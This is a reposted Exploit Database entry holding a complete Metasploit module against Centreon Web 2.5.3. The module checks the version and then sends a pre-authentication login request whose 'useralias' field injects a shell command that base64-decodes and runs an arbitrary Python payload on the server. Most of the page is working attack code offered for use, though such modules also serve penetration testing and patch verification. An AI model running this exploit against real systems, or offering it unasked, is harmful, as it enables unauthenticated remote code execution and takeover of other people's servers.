Centreon 2.5.3 – Web Useralias Command Execution (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2016-07-27
• 类别：

  • remote
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/40170/

• ##
  ## This module requires Metasploit: http://metasploit.com/download
  ## Current source: https://github.com/rapid7/metasploit-framework
  ###
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  
  Rank = ExcellentRanking
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name'=> 'Centreon Web Useralias Command Execution',
  'Description' => %q(
  Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
  errors.This functionality can be abused for arbitrary code
  execution, and can be triggered via the login screen prior to
  authentication.
  ),
  'Author'=>
  [
  'h00die <mike@shorebreaksecurity.com>', # module
  'Nicolas CHATELAIN <n.chatelain@sysdream.com>'# discovery
  ],
  'References'=>
  [
  [ 'EDB', '39501' ]
  ],
  'License'=> MSF_LICENSE,
  'Platform' => ['python'],
  'Privileged' => false,
  'Arch' => ARCH_PYTHON,
  'Targets'=>
  [
  [ 'Automatic Target', {}]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Feb 26 2016'
  )
  )
  
  register_options(
  [
  Opt::RPORT(80),
  OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
  ], self.class
  )
  end
  
  def check
  begin
  res = send_request_cgi(
  'uri' => normalize_uri(target_uri.path, 'index.php'),
  'method'=> 'GET'
  )
  /LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
  
  if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
  vprint_good("Version Detected: #{version}")
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  
  def exploit
  begin
  vprint_status('Sending malicious login')
  send_request_cgi(
  'uri' => normalize_uri(target_uri.path, 'index.php'),
  'method'=> 'POST',
  'vars_post'=>
  {
  'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
  'password'=> Rex::Text.rand_text_alpha(5)
  }
  )
  
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  end